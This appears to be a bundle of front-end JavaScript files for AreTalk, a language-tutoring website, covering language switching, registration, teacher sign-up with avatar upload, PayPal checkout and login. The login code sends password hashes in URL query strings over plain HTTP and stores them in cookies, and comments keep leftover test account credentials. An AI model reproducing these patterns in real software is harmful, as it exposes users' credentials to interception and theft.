$("body").cloudLang({lang: curLang, file: "lib/lang/lang-resource.xml"});
$("#langIcon").attr("src",'img/'+curLang+'.png')
CreateCookie("Language", curLang, 30);
event.stopPropagation(); //阻止向上冒泡
});
$(".headerNav").mouseover(function(){
$(this).find(".botterLine").addClass("activeLine");
});
$(".headerNav").mouseout(function(){
$(this).find(".botterLine").removeClass("activeLine");
});
});
$.ajax({
type:'GET',
data:{},
url: AjaxURL+'/AreTalkServer/Web/Api/getCommonTable.action',
success:function(data) {
for(item in data.data.promoterList){
secondDomain[data.data.promoterList[item].secondDomain] = data.data.promoterList[item].extendCode
}
extendCode = secondDomain[locationURL];
if(!extendCode){
extendCode = null;
}
console.log(extendCode);
},
error:function() {
}
});
});//ready结束
//回到顶端
function backToTop() {
$('html,body').animate({
scrollTop: 0
}, 1000);
}
$(window).on('scroll', function () {/*当滚动条的垂直位置大于浏览器所能看到的页面的那部分的高度时,回到顶部按钮就显示 */
if ($(window).scrollTop() > $(window).height())
$("#TopButton").fadeIn();
else
$("#TopButton").fadeOut();
});
$(window).trigger('scroll');/*触发滚动事件,避免刷新的时候显示回到顶部按钮*/
layui.use(['layer', 'form','laydate'], function(){
var layer = layui.layer;
var form = layui.form;
//获取电话区号
$.ajax({
type:'GET',
data:{},
url: AjaxURL+'/AreTalkServer/Verify/getCountryAreacode.action',
success:function(data) {
for (var i = 0;i<data.data.areacode.length; i++) {
var areacode = '<option value="'+data.data.areacode[i].countryId+'">'+data.data.areacode[i].countryName+' +'+data.data.areacode[i].areaCode+'</option>';
$('#PhoneNmuAre').append(areacode);
}
form.render(); //更新全部
},
error: function () {
}
});
form.on('checkbox(protocol)', function(data){
protocol = data.elem.checked;
});//勾选条款
form.on('submit(getCode)', function(data){
GetCode(data.field.userName,data.field.phoneNo,data.field.countryId);
});
form.on('submit(register)', function(data){
fromValue = data.field;
//当前容器的全部表单字段,名值对形式:{name: value}
register();
});
//表单验证
form.verify({
agree: function(value, item){ //value:表单的值、item:表单的DOM对象
if(!protocol){
return ' 请您阅读后确认同意并勾选《服务条款》';
}
},
username: function(value, item){ //value:表单的值、item:表单的DOM对象
if(!new RegExp("^[a-zA-Z0-9_\u4e00-\u9fa5\\s·]+$").test(value)){
return '用户名不能有特殊字符';
}
if(/(^\_)|(\__)|(\_+$)/.test(value)){
return '用户名首尾不能出现下划线\'_\'';
}
if ( /[\u4E00-\u9FA5\uF900-\uFA2D]/.test(value) ) {
return '不允许使用中文';
}
}
//我们既支持上述函数式的方式,也支持下述数组的形式
//数组的两个值分别代表:[正则匹配、匹配不符时的提示文字]
,pass: [
/^[\S]{1,50}$/
,'不能出现空格'
]
});
function register(){
var IDcode = $("#IDcode").val();
fromValue.password = <PASSWORD>(fromValue.password);
fromValue.userName = fromValue.userName.toLowerCase();
fromValue.phoneNo = fromValue.phoneNo.replace(/\b(0+)/gi,"");//去掉开头为0的
fromValue.extendCode = extendCode;
if (!fromValue.protocol) {
alert("请您阅读后确认同意并勾选《服务条款》")
}
console.log(fromValue);
$.ajax({
type:'POST',
data:fromValue,
url: AjaxURL+'/AreTalkServer/Web/Login/register.action?userType=1',
success:function(data) {
if(data.data.status=="success"){
alert("success");
window.location.href='index.html';
}else{
layer.msg('请重试',{time:1500});
}
},
error: function () {
}
});
}
var checkInfoValid;
function GetCode(username,PhoneNumber,PhoneLocaltion){
$.ajax({
async:false,
type:'POST',
data:{userName:username,phoneNo:PhoneNumber,type:1},//type,T:0,stu:0
url: AjaxURL+'/AreTalkServer/Web/Login/checkInfoValid.action',
success:function(data) {
if(data.data.status=="success"){
checkInfoValid = true;
$.ajax({
async:false,
type:'POST',
data:{countryId:PhoneLocaltion,phoneNo:PhoneNumber,type:1},
url: AjaxURL+'/AreTalkServer/Verify/sendPhoneNoVerifyCode.action',
success:function(data) {
if (data.data.status=="success") {
time();
layer.msg('正在发送验证码,请查收手机短信',{time:1500});
}
},
error: function () {
}
});
}else if(data.data.status=="failed"){
if (data.data.item=="userName") {
layer.msg('用户名已被注册',{time:1500});
}else if(data.data.item=="phoneNo"){
layer.msg('手机号已注册',{time:1500});
}
}
},
error: function () {
}
});
}
function time(){
if (wait == 0) {
$("#sendCode").removeAttr("disabled");
$("#sendCode").html("获取验证码");
$("#sendCode").css("background-color", "#39b0ef");
wait = 60;
} else {
$("#sendCode").attr("disabled", "true");
$("#sendCode").css("background-color", "#9da2a7");
$("#sendCode").html("重新获取"+wait);
wait--;
setTimeout(function() {
time()
},
1000)
}
}
});<file_sep>var protocol;
var username;
var PhoneNumber;
var fromValue;
var PhoneArea;
var secondDomain = {};
$(document).ready(function(){
var Language = getCookie("Language");
$("header").load("lib/header/header.html",function(){
if (Language) {
$("body").cloudLang({lang: Language, file: "lib/lang/lang-resource.xml"});
CreateCookie("Language", Language, 30);
}else{
Language = "en";
console.log(Language);
$("body").cloudLang({lang: Language, file: "lib/lang/lang-resource.xml"});
CreateCookie("Language", Language, 30);
}
$('#LangChoose').change(function(){
var curLang = $(this).children('option:selected').val();
$("body").cloudLang({lang: curLang, file: "lib/lang/lang-resource.xml"});
$("#langIcon").attr("src",'img/'+curLang+'.png')
CreateCookie("Language", curLang, 30);
event.stopPropagation(); //阻止向上冒泡
});
$(".headerNav").mouseover(function(){
$(this).find(".botterLine").addClass("activeLine");
});
$(".headerNav").mouseout(function(){
$(this).find(".botterLine").removeClass("activeLine");
});
});
});//ready结束
//回到顶端
function backToTop() {
$('html,body').animate({
scrollTop: 0
}, 1000);
}
$(window).on('scroll', function () {/*当滚动条的垂直位置大于浏览器所能看到的页面的那部分的高度时,回到顶部按钮就显示 */
if ($(window).scrollTop() > $(window).height())
$("#TopButton").fadeIn();
else
$("#TopButton").fadeOut();
});
$(window).trigger('scroll');/*触发滚动事件,避免刷新的时候显示回到顶部按钮*/
layui.use(['layer', 'form','laydate'], function(){
var layer = layui.layer;
var form = layui.form;
//获取电话区号
$.ajax({
type:'GET',
data:{},
url: AjaxURL+'/AreTalkServer/Verify/getCountryAreacode.action',
success:function(data) {
for (var i = 0;i<data.data.areacode.length; i++) {
var areacode = '<option value="'+data.data.areacode[i].countryId+'">'+data.data.areacode[i].countryName+' +'+data.data.areacode[i].areaCode+'</option>';
$('#PhoneNmuAre').append(areacode);
var form = layui.form;
form.render();
//更新全部
}
},
error: function () {
}
});
//国籍
$.ajax({
type:'GET',
data:{},
url: AjaxURL+'/AreTalkServer/Api/AreTalk/getCountryInfo.action',
success:function(data) {
for (var i = 0;i<data.data.countryInfo.length; i++) {
var countryInfo = '<option value="'+data.data.countryInfo[i].countryId+'">'+data.data.countryInfo[i].countryNameSelf+'</option>';
$('#motherlandId').append(countryInfo);
$('#LivelandId').append(countryInfo);
var form = layui.form;
form.render();
}
},
error: function () {
}
});
form.on('checkbox(protocol)', function(data){
protocol = data.elem.checked;
});//勾选条款
form.on('submit(subBtn)', function(data){
fromValue = data.field;
//当前容器的全部表单字段,名值对形式:{name: value}
console.log(fromValue)
submit()
});
//表单验证
form.verify({
agree: function(value, item){ //value:表单的值、item:表单的DOM对象
if(!protocol){
return ' 请您阅读后确认同意并勾选《服务条款》Please check the terms of service.';
}
},
username: function(value, item){ //value:表单的值、item:表单的DOM对象
if(!new RegExp("^[a-zA-Z0-9_\u4e00-\u9fa5\\s·]+$").test(value)){
return '用户名不能有特殊字符 The username does not have a special character';
}
if(/(^\_)|(\__)|(\_+$)/.test(value)){
return '用户名首尾不能出现下划线\'_\'';
}
if ( !/^[u4E00-u9FA5]+$/.test(value) ) {
return '不允许使用中文';
}
}
//我们既支持上述函数式的方式,也支持下述数组的形式
//数组的两个值分别代表:[正则匹配、匹配不符时的提示文字]
,pass: [
/^[\S]{1,50}$/
,'不能出现空格 No space can be found'
]
});
function submit(){
fromValue.phone = fromValue.phone.replace(/\b(0+)/gi,"");//去掉开头为0的
/*
if (!fromValue.protocol) {
alert("请您阅读后确认同意并勾选《服务条款》")
return;
}*/
console.log(fromValue);
$.ajax({
type:'POST',
data:fromValue,
url: AjaxURL+'',
success:function(data) {
if(data.data.status=="success"){
alert("Success,Please wait for the AreTalk teacher to contact you");
}else{
layer.msg('error',{time:1500});
}
},
error: function () {
layer.msg('error',{time:1500});
}
});
};
});<file_sep>var UpLoadURL = 'http://172.16.58.3:8188';
var teacherHeadImgID
function getCookie(c_name) {
var c_value = document.cookie;
var c_start = c_value.indexOf(" " + c_name + "=");
if (c_start == -1) {
c_start = c_value.indexOf(c_name + "=");
}
if (c_start == -1) {
c_value = null;
}
else {
c_start = c_value.indexOf("=", c_start) + 1;
var c_end = c_value.indexOf(";", c_start);
if (c_end == -1) {
c_end = c_value.length;
}
c_value = unescape(c_value.substring(c_start, c_end));
}
return c_value;
}
var Sessionid = getCookie("JSESSIONID");
function cancelupload(){
$("#uploadtable").css("display","none")
$(".col-lg-7").css("display","block");
}
function getFileName(name){
var json = name.split(".")
return json[1];
}
$(function () {
/*'use strict';*/
$('.fileupload').each(function (){
// Initialize the jQuery File Upload widget:
$(this).fileupload({
//Uncomment the following to send cross-domain cookies:
//xhrFields: {withCredentials: true},
url: UpLoadURL+'/AreTalkServer/Servlet/UploadHandleServlet?type=2',
acceptFileTypes:/(\.|\/)(jpg|png)$/i,
disableImageResize: false,
maxFileSize:1000000,//限制文件大小5M
//预览图片尺寸
previewMinWidth:150,
previewMinHeight:150,
previewMaxWidth:150,
previewMaxHeight:150,
singleFileUploads: false,//一次只能上传一个文件
change: function(e, data) {
$("#uploadtable").css("display","block");
$(".col-lg-7").css("display","none");
if(data.files.length > 1){
alert("Max 1 file are allowed selected")
return false;
}
}
})
})
/*
每个选项的上传配置*/
$('.fileupload').fileupload(
'option',
'redirect',
window.location.href.replace(/\/[^\/]*$/,'/cors/result.html?%s')
).bind('fileuploaddone', function (e, data) {
var teacherHeadImgID = data.result.files[0].id;
var teacherHeadImgUrl = UpLoadURL+data.result.files[0].url;
var filetype = getFileName(data.result.files[0].url);
if (teacherHeadImgID) {
$(".col-lg-7").attr("value",teacherHeadImgID);
alert("上传成功");
$(".col-lg-7").css("display","block");
$("#preheadimg").attr("src",teacherHeadImgUrl);
$("#preheadimg").css("width","150px");
$("#preheadimg").css("height","150px");
$("#preheadimg").css("border-radius","150px");
}else{
alert("上传失败,请重试")
}
}).bind('fileuploadadd', function (e, data) {
$.each(data.files, function (index, file) {
var fileExtension = file.name.substring(file.name.lastIndexOf('.') + 1);
console.log(fileExtension)
/* for(var a in file){
console.log(file[a]+"</br>")
}
*/
if (fileExtension.toLowerCase() !="jpg" && fileExtension.toLowerCase() !="png") {
alert("只允许使用jpg和png格式,请重新选择")
return
}
console.log(file.size);
if (file.size>1024 * 1024 * 1) {
alert("只允许使用小于5M文件,请重新选择")
return
}
});
})
// Load existing files:
$('.fileupload').addClass('fileupload-processing');
$.ajax({
// Uncomment the following to send cross-domain cookies:
//xhrFields: {withCredentials: true},
url: $('.fileupload').fileupload('option', 'url'),
dataType: 'json',
context: $('.fileupload')[0]
}).always(function () {
$(this).removeClass('fileupload-processing');
}).done(function (result) {
$(this).fileupload('option', 'done')
.call(this, $.Event('done'), {result: result});
});
});
<file_sep>
$(document).ready(function(){
var Language = getCookie("Language");
$("header").load("lib/header/header.html",function(){
if (Language) {
$("body").cloudLang({lang: Language, file: "lib/lang/lang-resource.xml"});
CreateCookie("Language", Language, 30);
}else{
Language = "en";
console.log(Language);
$("body").cloudLang({lang: Language, file: "lib/lang/lang-resource.xml"});
CreateCookie("Language", Language, 30);
}
$('#LangChoose').change(function(){
var curLang = $(this).children('option:selected').val();
$("body").cloudLang({lang: curLang, file: "lib/lang/lang-resource.xml"});
$("#langIcon").attr("src",'img/'+curLang+'.png')
CreateCookie("Language", curLang, 30);
});
$(".headerNav").mouseover(function(){
$(this).find(".botterLine").addClass("activeLine");
});
$(".headerNav").mouseout(function(){
$(this).find(".botterLine").removeClass("activeLine");
});
});//load
$("footer").load("lib/footer/footer.html",function(){
});
var fromValue
layui.use(['layer', 'element','form'], function(){
var layer = layui.layer;
var form = layui.form;
form.on('submit(Feedbackfrom)', function(data){
data.field.type = "5";//Feedback
fromValue = data.field;
console.log(fromValue) //当前容器的全部表单字段,名值对形式:{name: value}
$.ajax({
type: "POST",
url: AjaxURL+"/AreTalkServer/Web/Api/submitMessage.action",
data: fromValue,
success: function (data) {
if (data.data.status=="success"){
alert("success")
}else{
layer.msg("error, try again");
}
},
error: function (a,b,c) {
layer.msg("error, try again");
}
});
return false; //阻止表单跳转。如果需要表单跳转,去掉这段即可。
});
});
})//ready
function CreateCookie(name, value, days) {
if (days) {
var date = new Date;
date.setTime(date.getTime() + days * 24 * 60 * 60 * 1E3);
var expires = "; expires=" + date.toGMTString()
} else var expires = "";
document.cookie = name + "=" + value + expires + "; path=/"
}
function getCookie(c_name) {
var c_value = document.cookie;
var c_start = c_value.indexOf(" " + c_name + "=");
if (c_start == -1) {
c_start = c_value.indexOf(c_name + "=");
}
if (c_start == -1) {
c_value = null;
}
else {
c_start = c_value.indexOf("=", c_start) + 1;
var c_end = c_value.indexOf(";", c_start);
if (c_end == -1) {
c_end = c_value.length;
}
c_value = unescape(c_value.substring(c_start, c_end));
}
return c_value;
}
<file_sep>$(document).ready(function(){
$("#WinBtn").click(function(){
window.location="http://www.aretalk.com/Download/AreTalkStudent/AreTalkStudentv0.01.exe"
})
$("#iOSBtn").click(function(){
window.location="https://itunes.apple.com/us/app/aretalk/id1225491507"
})
$("#AndroidBtn").click(function(){
window.location="https://play.google.com/store/apps/details?id=com.aretalk"
})
$("#FrameworkBtn").click(function(){
window.location="https://www.microsoft.com/zh-cn/download/details.aspx?id=30653"
})
$("#FlashBtn").click(function(){
window.location="http://get2.adobe.com/cn/flashplayer/otherversions/"
})
var Language = getCookie("Language");
$("header").load("lib/header/header.html",function(){
$("#appBtn").find(".botterLine").addClass("curpage");
if (Language) {
$("body").cloudLang({lang: Language, file: "lib/lang/lang-resource.xml"});
CreateCookie("Language", Language, 30);
}else{
Language = "en";
console.log(Language);
$("body").cloudLang({lang: Language, file: "lib/lang/lang-resource.xml"});
CreateCookie("Language", Language, 30);
}
$('#LangChoose').change(function(){
var curLang = $(this).children('option:selected').val();
$("body").cloudLang({lang: curLang, file: "lib/lang/lang-resource.xml"});
CreateCookie("Language", curLang, 30);
$("#langIcon").attr("src",'img/'+curLang+'.png')
event.stopPropagation(); //停止冒泡
});
window.onscroll=function(){
var topScroll = document.documentElement.scrollTop || window.pageYOffset || document.body.scrollTop;//滚动的距离,距离顶部的距离
if(topScroll > 100){
$("#header").addClass('headerFloat').removeClass("headerTop");
}else{
$("#header").addClass('headerTop').removeClass("headerFloat");
};
};
$(".headerNav").mouseover(function(){
$(this).find(".botterLine").addClass("activeLine");
});
$(".headerNav").mouseout(function(){
$(this).find(".botterLine").removeClass("activeLine");
});
});//load
$("footer").load("lib/footer/footer.html",function(){
});
});//ready
layui.use('layer', function(){
var layer = layui.layer;
});
//返回顶端
function backToTop() {
$('html,body').animate({
scrollTop: 0
}, 1000);
}
$(window).on('scroll', function () {/*当滚动条的垂直位置大于浏览器所能看到的页面的那部分的高度时,回到顶部按钮就显示 */
if ($(window).scrollTop() > $(window).height())
$("#TopButton").fadeIn();
else
$("#TopButton").fadeOut();
});
$(window).trigger('scroll');/*触发滚动事件,避免刷新的时候显示回到顶部按钮*/
<file_sep>$(document).ready(function(){
var Language = getCookie("Language");
$("header").load("lib/header/header.html",function(){
$("#courseBtn").find(".botterLine").addClass("curpage");
if (Language){
$("#LangChoose").val(""+Language+"");
$("#langIcon").attr("src",'img/'+Language+'.png');
$("body").cloudLang({lang: Language, file: "lib/lang/lang-resource.xml"});
$("#theMainpic2").attr("src",'img/coursesystem_'+Language+'.png');
}else{
Language = "en";
$("body").cloudLang({lang: Language, file: "lib/lang/lang-resource.xml"});
CreateCookie("Language", Language, 30);
}
$('#LangChoose').change(function(event){
curLang = $(this).children('option:selected').val();
CreateCookie("Language", curLang, 30);
;
$("body").cloudLang({lang: curLang, file: "lib/lang/lang-resource.xml"});
$("#langIcon").attr("src",'img/'+curLang+'.png');
$("#theMainpic2").attr("src",'img/coursesystem_'+curLang+'.png');
});
window.onscroll=function(){
var topScroll = document.documentElement.scrollTop || window.pageYOffset || document.body.scrollTop;//滚动的距离,距离顶部的距离
if(topScroll > 100){ //当滚动距离大于250px时
$("#header").addClass('headerFloat').removeClass("headerTop");
}else{//当滚动距离小于250的时候让导航栏恢复原状
$("#header").addClass('headerTop').removeClass("headerFloat");
}
};
$(".headerNav").mouseover(function(){
$(this).find(".botterLine").addClass("activeLine");
});
$(".headerNav").mouseout(function(){
$(this).find(".botterLine").removeClass("activeLine");
});
});//load
$("footer").load("lib/footer/footer.html",function(){
});
});//ready
layui.use('layer', function(){
var layer = layui.layer;
});
//返回顶端
function backToTop() {
$('html,body').animate({
scrollTop: 0
}, 1000);
}
$(window).on('scroll', function () {/*当滚动条的垂直位置大于浏览器所能看到的页面的那部分的高度时,回到顶部按钮就显示 */
if ($(window).scrollTop() > $(window).height())
$("#TopButton").fadeIn();
else
$("#TopButton").fadeOut();
});
$(window).trigger('scroll');
/*触发滚动事件,避免刷新的时候显示回到顶部按钮
*/
<file_sep>//sandbox account
//<EMAIL>
//609449489
//<EMAIL>
//609449489s
/*
aretalk test paypal
<EMAIL>
aretalk2018
*/
var Sessionid = getCookie("JSESSIONID");
var currencyData = {};//各币种下的价额
var orderPrice;
var AjaxgoodsType;
var AjaxcurrencyId;
var currencyObj={}//币种名字和对应ID,EUR:4
var orderId
var Askloop
var wait=10;
$(document).ready(function(){
//获取币信息、套餐ID信息
$.ajax({
type:'GET',
async:false,
data:{},
url: AjaxURL+'/AreTalkServer/Web/Api/getCommonTable.action',
success:function(data) {
var ThisPackagePrice
for (var i = 0;i<6; i++) {//data.data.goodsInfo.length
if (parent.goodsType == data.data.goodsInfo[i].goodsType) {
ThisPackagePrice = data.data.goodsInfo[i].amount
currencyData['goodsType'] = data.data.goodsInfo[i].goodsType;
}
}
//console.log(ThisPackagePrice)
for (var i = 0;i<data.data.currencyInfo.length; i++) {
var MinPrice = ThisPackagePrice/data.data.currencyInfo[i].baseRatio;
if (MinPrice<1) {
MinPrice = 0.01
}
currencyData[data.data.currencyInfo[i].currencyShortName] = MinPrice;
currencyObj[data.data.currencyInfo[i].currencyShortName] = data.data.currencyInfo[i].id
var option = '<option value="'+data.data.currencyInfo[i].currencyShortName+'" id="'+data.data.currencyInfo[i].currencyShortName+'" >'+data.data.currencyInfo[i].currencyShortName+'</option>'
$("#Currency").append(option);
}
//console.log(currencyData)
//console.log(currencyObj)
},
error:function() {
}
});//ajax
//显示订单信息
$("#packageName").html(parent.packageName);
$("#packLessons").html(parent.packLessons);
$("#packValidity").html(parent.packValidity);
layui.use(['form', 'layedit', 'laydate'], function(){
var form = layui.form,layer = layui.layer;
//币种选择
form.on('select(Currency)', function(data){
var price = currencyData[data.value];// data.value 得到被选中的值
AjaxcurrencyId = currencyObj[data.value];
AjaxgoodsType = currencyData.goodsType;
$("#packagePrice").text(price);
orderPrice = {'total':currencyData[data.value],'currency':data.value}
console.log(orderPrice);
});
form.on('submit(sure)', function(data){
//确认按钮
$("#paypal-button").css("display","block")
$("#Currency").attr("disabled","disabled")
form.render(); //更新全部
$("#cancel").removeClass('layui-btn-disabled')
$("#SureBtn").addClass("layui-btn-disabled")
//给服务器提交订单,返回订单ID
$.ajax({
type: "GET",
async:false,
url: AjaxURL+"/AreTalkServer/Web/Api/generateOrder.action;jsessionid="+Sessionid,
data: {goodsType:AjaxgoodsType,goodsCount:1,channel:3,currencyId:AjaxcurrencyId},//channel付款渠道currencyId币种
success: function (data) {
if(data.data.status=="success"){
orderId = data.data.order.orderId
}else{
}
},
error: function () {
alert("error,please Relogged");
}
});
});
//取消按钮
$("#cancel").click(function(){
$("#cancel").addClass('layui-btn-disabled')
$("#Currency").removeAttr("disabled")
form.render(); //更新全部
$("#SureBtn").removeClass("layui-btn-disabled")
$("#paypal-button").css("display","none")
})
});//use;
})//ready
//paypal按钮
paypal.Button.render({
env: 'production', // Or 'sandbox',production
locale: 'en_US',//支持的语言环境
commit: true, //要初始化Pay Now结帐
client: {
production:'<KEY>',
sandbox:'<KEY>'
//sandbox:'<KEY>',
//production: '<KEY>'
//<EMAIL>的clientID
},
style: {
color: 'blue',
size: 'large',
tagline:false,
label:'paypal'
},
payment: function(data, actions) {
return actions.payment.create({
payment: {
transactions: [
{
amount:orderPrice,// { total: '0.01', currency: "USD" },//orderPrice,//{ total: '0.01', currency: "USD" },
description: orderId
}
],
application_context:{
brand_name:"aretalk",
landing_page:"http://www.aretalk.com"
}
}
});
},
onAuthorize: function(data, actions) {
// Get the payment details
// Show a success page to the buyer
return actions.payment.get().then(function(paymentDetails) {
return actions.payment.execute().then(function() {
$("#OrderPage").hide();
$("#OrderSuccess").show();
console.log(data);
layer.msg('processing..')
Askloop = setInterval(function(){ AskOrderStatus(orderId) },
1000);//轮询查询支付状态
});
});
},
onCancel: function(data, actions) {
/*
* Buyer cancelled the payment
*/
layer.msg("You have cancelled the payment, please repay")
},
onError: function(err) {
/*
* An error occurred during the transaction
*/
//layer.msg("Error,Please choose the currency and try again")
layer.msg('Error,Please choose the currency', {
icon: 2,
time: 3000 //(如果不配置,默认是3秒关闭时间)
}, function(){
//do something
});
}
}, '#paypal-button');
function AskOrderStatus(orderId){
$.ajax({
type: "GET",
async:false,
url: AjaxURL+"/AreTalkServer/Api/AreTalk/getOrderStatus.action;jsessionid="+Sessionid,
data: {orderId:orderId},
success: function (data) {
//console.log(data.data.order.status)
if(data.data.order.status=="2"){// 0 等待 1 失败 2成功
clearInterval(Askloop);
$("#OrderSuccessTittle").show();
layer.msg('Payment success');
$("#orderIdBox").text(orderId);
$("#loading").hide()
$("#duihao").show();
time()
}
},
error: function () {
alert("error,please close this page and try again");
}
});
}
function time(){
if (wait == 0) {
parent.layer.closeAll();//关闭自己
wait = 10;
} else {
$("#timeBox").text('Payment success,This page will be closed after '+wait+' seconds');
wait--;
setTimeout(function() {
time()
},
1000)
}
}<file_sep>
$(document).ready(function(){
// 首页老师轮播图
var mySwiper = new Swiper ('.swiper-container', {
navigation: {
nextEl: '.swiper-button-next',
prevEl: '.swiper-button-prev',
},
autoplay: {
delay: 3000,//3秒切换一次
},
initialSlide :0,
/* loop: true,*/
slidesPerView: 3,
spaceBetween:swiperBetween,
observer:true,//修改swiper自己或子元素时,自动初始化swiper
observeParents:false,//修改swiper的父元素时,自动初始化swiper
onSlideChangeEnd: function(swiper){
swiper.update();
mySwiper.startAutoplay();
mySwiper.reLoop();
} //修改swiper自己或子元素时,自动初始化swiper
//px
/* pagination: {
el: '.swiper-pagination',
clickable: true,
}*/
});
// 首页banner轮播图
var myBannerSwiper = new Swiper ('.swiper-container-Banner', {
navigation: {
nextEl: '.swiper-button-next',
prevEl: '.swiper-button-prev',
},
autoplay: {
delay: 3000,//3秒切换一次
},
initialSlide :0,
loop: true,
pagination: {
el: '.swiper-pagination',
clickable: true,
}
});
var Language = getCookie("Language");
var curLang
$("header").load("lib/header/header.html",function(){
$("#homeBtn").find(".botterLine").addClass("curpage");
if (Language){
$("#LangChoose").val(""+Language+"");
$("#langIcon").attr("src",'img/'+Language+'.png');
$("body").cloudLang({lang: Language, file: "lib/lang/lang-resource.xml"});
$("#step1").attr("src",'img/Step1_'+Language+'.png');
$("#step2").attr("src",'img/Step2_'+Language+'.png');
$("#step3").attr("src",'img/Step3_'+Language+'.png');
$("#teacher1").attr("src",'img/teacher(1)_'+Language+'.png');
$("#teacher2").attr("src",'img/teacher(2)_'+Language+'.png');
$("#teacher3").attr("src",'img/teacher(3)_'+Language+'.png');
$("#teacher4").attr("src",'img/teacher(4)_'+Language+'.png');
$("#teacher5").attr("src",'img/teacher(5)_'+Language+'.png');
$("#teacher6").attr("src",'img/teacher(6)_'+Language+'.png');
}else{
Language = "en";
$("body").cloudLang({lang: Language, file: "lib/lang/lang-resource.xml"});
CreateCookie("Language", Language, 30);
}
$('#LangChoose').change(function(event){
curLang = $(this).children('option:selected').val();
CreateCookie("Language", curLang, 30);
;
$("body").cloudLang({lang: curLang, file: "lib/lang/lang-resource.xml"});
$("#langIcon").attr("src",'img/'+curLang+'.png');
$("#step1").attr("src",'img/Step1_'+curLang+'.png');
$("#step2").attr("src",'img/Step2_'+curLang+'.png');
$("#step3").attr("src",'img/Step3_'+curLang+'.png');
$("#teacher1").attr("src",'img/teacher(1)_'+curLang+'.png');
$("#teacher2").attr("src",'img/teacher(2)_'+curLang+'.png');
$("#teacher3").attr("src",'img/teacher(3)_'+curLang+'.png');
$("#teacher4").attr("src",'img/teacher(4)_'+curLang+'.png');
$("#teacher5").attr("src",'img/teacher(5)_'+curLang+'.png');
$("#teacher6").attr("src",'img/teacher(6)_'+curLang+'.png');
});
window.onscroll=function(){
var topScroll = document.documentElement.scrollTop || window.pageYOffset || document.body.scrollTop;//滚动的距离,距离顶部的距离
if(topScroll > 100){ //当滚动距离大于250px时
$("#header").addClass('headerFloat').removeClass("headerTop");
}else{//当滚动距离小于250的时候让导航栏恢复原状
$("#header").addClass('headerTop').removeClass("headerFloat");
}
};
$(".headerNav").mouseover(function(){
$(this).find(".botterLine").addClass("activeLine");
});
$(".headerNav").mouseout(function(){
$(this).find(".botterLine").removeClass("activeLine");
});
});//load
$("footer").load("lib/footer/footer.html",function(){
});
});
layui.use(['layer', 'form'], function(){
var layer = layui.layer;
var form = layui.form;
form.verify({
username: function(value, item){ //value:表单的值、item:表单的DOM对象
if(!new RegExp("^[a-zA-Z0-9_\u4e00-\u9fa5\\s·]+$").test(value)){
return '用户名不能有特殊字符';
}
if(/(^\_)|(\__)|(\_+$)/.test(value)){
return '用户名首尾不能出现下划线\'_\'';
}
}
//我们既支持上述函数式的方式,也支持下述数组的形式
//数组的两个值分别代表:[正则匹配、匹配不符时的提示文字]
,pass: [
/^[\S]{1,50}$/
,'不能出现空格'
]
});
form.on('submit(login)', function(data){
console.log() //当前容器的全部表单字段,名值对形式:{name: value}
var LoginURL = "http://172.16.17.32:8188/AreTalkServer/Web/Login/";
var TheuserName,Thepassword;
var userName = data.field.username
TheuserName = userName;
var password = <PASSWORD>(data.field.password);
Thepassword = <PASSWORD>;
$.ajax({
type: "GET",
url: LoginURL+"login.action?userName="+userName+"&password="+password+"&userType=1",
data: {},
success: function (data) {
CreateCookie(TheuserName, Thepassword, 30);
CreateCookie("JSESSIONID", data.data.JSESSIONID, 30);
if(data.data.status=="success"){
layer.msg("登陆成功",{time:1500});
$("#RegisterBox").hide();
//location.replace("../Student/all/allPage/index.html?LoginedName="+TheuserName);
}else{
layer.msg("error");
}
},
error: function (a,b,c) {
layer.msg("error");
}
});
});
return false; //阻止表单跳转。如果需要表单跳转,去掉这段即可。
});
$(".regBtn").click(function(){
window.location.href='register.html';
})
var clientWidth = document.body.clientWidth;
var swiperBetween = 40;
if (clientWidth<= 414) {
swiperBetween = 20;
}
function backToTop() {
$('html,body').animate({
scrollTop: 0
}, 1000);
}
$(window).on('scroll', function () {/*当滚动条的垂直位置大于浏览器所能看到的页面的那部分的高度时,回到顶部按钮就显示 */
if ($(window).scrollTop() > $(window).height())
$("#TopButton").fadeIn();
else
$("#TopButton").fadeOut();
});
$(window).trigger('scroll');/*触发滚动事件,避免刷新的时候显示回到顶部按钮*/
function stopPropagation(e){
var e = window.event || e;
if(document.all){
e.cancelBubble = true;
}else{
e.stopPropagation();
}
}
<file_sep>var wait=60;
var username;
var PhoneNumber;
var fromValue;
var PhoneArea;
var teacherHeadImgId
var Sessionid;
layui.use(['layer', 'form','laydate'], function(){
var layer = layui.layer;
var form = layui.form;
var laydate = layui.laydate;
var start = {istoday: false};
form.verify({
username: function(value, item){ //
//value:表单的值、item:表单的DOM对象
if(!new RegExp("^[a-zA-Z0-9_\u4e00-\u9fa5\\s·]+$").test(value)){
return '用户名不能有特殊字符';
}
if(/(^\_)|(\__)|(\_+$)/.test(value)){
return '用户名首尾不能出现下划线\'_\'';
}
if ( /[\u4E00-\u9FA5\uF900-\uFA2D]/.test(value) ) {
return '不允许使用中文';
}
}
,pass: [
/^[\S]{1,50}$/
,'不能出现空格'
]
});
//执行一个laydate实例
laydate.render({
elem: '#Tbirthday' //指定元素
});
form.on('submit(sendFrom)', function(data){
// console.log(data.field) ;当前容器的全部表单字段,名值对形式:{name: value}
fromValue = data.field;
var KnowLang = [];var level= [];
$(".KnowLang").each(function(index, obj) {
KnowLang.push(
$(this).children("option:selected").val()
);
level.push(
$(this).parents(".addBox").find("select:last").children("option:selected").val()
);
})
var WhereFrom = fromValue.fromcity+fromValue.fromdetail;
var WhereLive = fromValue.livecity+fromValue.livedetail;
fromValue.KnowLangArry = KnowLang;
fromValue.levelArry = level;
fromValue.WhereFrom = WhereFrom;
fromValue.WhereLive = WhereLive;
fromValue.password = <PASSWORD>(fromValue.Tpassword);
fromValue.userName = fromValue.userName.toLowerCase();
fromValue.phoneNo = fromValue.phoneNo.replace(/\b(0+)/gi,"");
/* delete fromValue["files[]"];
delete fromValue["livecity"];
delete fromValue["livedetail"];
delete fromValue["fromcity"];
delete fromValue["fromdetail"];*/
console.log(fromValue)
teacherHeadImgId = $(".col-lg-7").attr("value");
if (teacherHeadImgId) {
if (fromValue.countryId) {}
register()
}else{
alert("没有上传头像");
return;
}
});
var i =2;
$("#addKnowLang").click(function(){
